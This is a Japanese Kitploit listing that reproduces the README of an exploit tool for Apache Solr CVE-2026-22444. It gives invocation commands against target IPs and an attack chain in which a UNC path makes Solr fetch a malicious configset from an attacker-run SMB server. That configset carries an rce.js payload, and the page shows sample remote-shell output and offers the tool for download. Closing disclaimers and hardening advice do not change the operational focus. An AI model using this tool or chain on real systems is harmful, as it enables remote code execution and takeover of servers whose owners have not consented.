Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-22444 — Apache Solr CVE-2026-22444 のエクスプロイト。UNC パスインジェクションと SMB サーバーを活用し、悪意のある configset と JavaScript ペイロードを介してリモートコード実行を実現します。 | Kitploit
ツール/GitHubGitHub/bfdfhdsfdd-crypto/cve-2026-22444
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubbfdfhdsfdd-crypto/cve-2026-22444

CVE-2026-22444

Apache Solr CVE-2026-22444 のエクスプロイト。UNC パスインジェクションと SMB サーバーを活用し、悪意のある configset と JavaScript ペイロードを介してリモートコード実行を実現します。

リポジトリを見る
547ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-22444

Apache Solr UNC パス検証の脆弱性

概要

CVE-2026-22444 は Apache Solr に影響を与えるセキュリティ脆弱性であり、2026 年 1 月 20 日頃に公開されました。この脆弱性は、Apache Solr の "create core" API における一部の API パラメータの入力検証不足(CWE-20: Improper Input Validation)に起因し、攻撃者が Solr が "standalone" モードで実行されている場合にセキュリティルールを回避できる可能性があり、データ漏洩、リモートコード実行(RCE)、または NTLM ハッシュの開示につながる可能性があります。

具体的には、Solr で認証が有効になっていない場合、またはユーザーがコア作成権限を持っている場合、攻撃者は巧妙に細工されたリクエストを介してこの API を悪用し、保護されたファイルにアクセスしたり、悪意のある操作を実行したりする可能性があります。

開示情報

この脆弱性は 2025 年に発見され Apache に報告され、oss-security メーリングリストで公開されました:

公式発表: https://www.openwall.com/lists/oss-security/2026/01/20/5

技術的詳細

この脆弱性は CoreContainer.java に存在し、CoreDescriptor コンストラクタが UNC パス検証を実行する前にネットワーク操作をトリガーします:

  • instancePath.toAbsolutePath() はネットワーク経由で UNC パスを解決する可能性があります
  • Files.exists() チェックはネットワーク呼び出しを実行します
  • Files.newInputStream() はネットワーク読み取りを実行します
  • assertPathAllowed() によるパス検証は、これらの操作の後にのみ発生します
  • タイムライン

    • 2025-08-20: 脆弱性を発見し Apache に報告
    • 2026-01-20: 公開開示

    リポジトリの内容

    • exploit.py - 概念実証エクスプロイトスクリプト
    • files/ - エクスプロイトに必要なサポートファイル(configset)
      • rce.js - リモートコード実行 JavaScript ペイロード
      • conf/ - Solr 設定ファイル
        • solrconfig.xml - 悪意のある更新プロセッサチェーンを定義
        • schema.xml - Solr スキーマ定義
        • managed-schema - 管理対象スキーマファイル
    • requirements.txt - Python 依存関係

    使用方法

    環境要件

    • Python 3.6+
    • ターゲットシステムは Apache Solr を実行している必要があります(Windows システム、スタンドアロンモード)
    • ターゲットの Solr で認証が有効になっていないか、攻撃者がコア作成権限を持っている必要があります

    依存関係のインストール

    root@kitploit:~
    pip install -r requirements.txt
    

    依存関係には以下が含まれます:

    • requests>=2.25.0 - HTTP リクエスト用
    • impacket>=0.10.0 - SMB サーバー作成用

    基本的な使用方法

    1. 基本攻撃(ローカル IP の自動検出)

    root@kitploit:~
    python3 exploit.py <ターゲットIP>
    

    例:

    root@kitploit:~
    python3 exploit.py 192.168.1.100
    

    2. Solr ポートの指定

    root@kitploit:~
    python3 exploit.py <ターゲットIP> --port <ポート>
    

    例:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --port 8983
    

    3. SMB サーバー設定の指定

    root@kitploit:~
    python3 exploit.py <ターゲットIP> --smb-host <SMBサーバーIP> --smb-port <SMBポート>
    

    例:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
    

    4. カスタム SMB 共有名

    root@kitploit:~
    python3 exploit.py <ターゲットIP> --share-name <共有名>
    

    例:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --share-name myshare
    

    コマンドライン引数の説明

    root@kitploit:~
    位置引数:
      target_host           ターゲット Solr サーバーの IP アドレス
    
    オプション引数:
      -h, --help            ヘルプメッセージを表示して終了
      --port, -p PORT       Solr サーバーのポート(デフォルト:8983)
      --smb-host SMB_HOST   SMB サーバーの IP(デフォルト:ローカル IP を自動検出)
      --smb-port SMB_PORT   SMB サーバーのポート(デフォルト:445)
      --share-name SHARE    SMB 共有名(デフォルト:malicious)
    

    攻撃フロー

    1. SMB サーバーの起動:スクリプトはローカルで SMB サーバーを起動し、files ディレクトリを共有します
    2. 悪意のある Core の作成:ターゲットの Solr にコア作成リクエストを送信し、SMB サーバー上の悪意のある configset を指し示します
    3. ペイロードのトリガー:Solr は SMB サーバーから設定ファイルをダウンロードします。これには悪意のある JavaScript コードが含まれています
    4. コマンドの実行:更新リクエストを送信して JavaScript ペイロードの実行をトリガーします
    5. 対話型シェル:エクスプロイト成功後、対話型コマンド実行環境に入ります

    対話型シェルの使用方法

    エクスプロイト成功後、スクリプトは対話型シェルを提供します:

    root@kitploit:~
    solr> whoami
    [+] exit_code: 0, status: success
    --- stdout ---
    desktop-abc123\user
    
    solr> dir
    [+] exit_code: 0, status: success
    --- stdout ---
    Volume in drive C has no label.
    ...
    
    solr> exit
    [*] exiting shell...
    

    サポートされているコマンド:

    • 任意の Windows CMD コマンド
    • exit または quit - 対話型シェルを終了
    • Ctrl+C - 中断して終了

    動作原理

    この脆弱性は以下の技術チェーンを利用します:

    1. UNC パスインジェクション:configSet パラメータを介して UNC パス(例://attacker-ip/share)を注入します
    2. SMB サーバー:悪意のある Solr 設定ファイルをホストします
    3. JavaScript RCE:Solr の StatelessScriptUpdateProcessorFactory を利用して JavaScript コードを実行します
    4. コマンド実行:Java Runtime API を介してターゲットシステム上で任意のコマンドを実行します

    高度な使用例

    完全なパラメータ例

    root@kitploit:~
    python3 exploit.py 192.168.35.31 \
      --port 8983 \
      --smb-host 192.168.35.50 \
      --smb-port 445 \
      --share-name exploit
    

    ファイル構造の説明

    root@kitploit:~
    CVE-2026-22444/
    ├── exploit.py              # メインエクスプロイトスクリプト
    ├── requirements.txt        # Python 依存関係
    ├── files/                  # 悪意のある configset
    │   ├── rce.js             # RCE JavaScript ペイロード
    │   └── conf/              # Solr 設定ディレクトリ
    │       ├── solrconfig.xml # 悪意のある更新プロセッサを設定
    │       ├── schema.xml     # スキーマ定義
    │       └── managed-schema # 管理対象スキーマ
    └── README.md              # このファイル
    

    ペイロードの説明

    rce.js:これはコアとなる RCE ペイロードであり、以下のことを行います:

    • Solr の更新操作(add、delete、commit、rollback)をインターセプトします
    • リクエストパラメータから cmd パラメータを取得します
    • Java Runtime API を使用してコマンドを実行します
    • stdout と stderr をキャプチャします
    • 実行結果と終了コードを返します

    solrconfig.xml:Solr が悪意のある更新プロセッサチェーンを使用するように設定します:

    • rce-chain 更新プロセッサチェーンを定義します
    • rce.js スクリプトを参照します
    • /update リクエストプロセッサがこのチェーンを使用するように設定します

    注意事項

    ⚠️ 警告:このツールは、許可されたセキュリティテストおよび教育目的のみに使用してください。許可なくこのツールを使用してシステムを攻撃することは違法です。

    • 使用前に明確な書面による許可を取得してください
    • テスト環境または合法的な許可がある環境でのみ使用してください
    • 管理されたペネトレーションテスト環境以外では、本番システムで使用しないでください
    • 使用者は自身の行動に対して責任を負う必要があります

    防御に関する推奨事項

    1. Solr のアップグレード:Apache Solr をこの脆弱性が修正されたバージョンにアップグレードします
    2. 認証の有効化:Solr で強力な認証メカニズムが有効になっていることを確認します
    3. コア作成権限の制限:信頼できるユーザーにのみコア作成権限を付与します
    4. ネットワーク分離:Solr を保護されたネットワーク環境にデプロイします
    5. ファイアウォールルール:Solr 管理インターフェースへのアクセスを制限します
    6. 異常アクティビティの監視:UNC パスアクセスと異常なコア作成リクエストを監視します

    参考リンク

    • Apache Solr 公式サイト
    • OSS Security メーリングリスト発表
    • CWE-20: Improper Input Validation

    ライセンス

    このプロジェクトは MIT ライセンスに従います。詳細については LICENSE ファイルを参照してください。

    免責事項

    このツールと情報は、セキュリティ研究および教育目的のみを対象としています。作者は、この情報またはツールの悪用によって生じたいかなる損害についても責任を負いません。使用者は、該当するすべての法律および規制を遵守し、使用前に適切な許可を取得する必要があります。

    ツールをダウンロード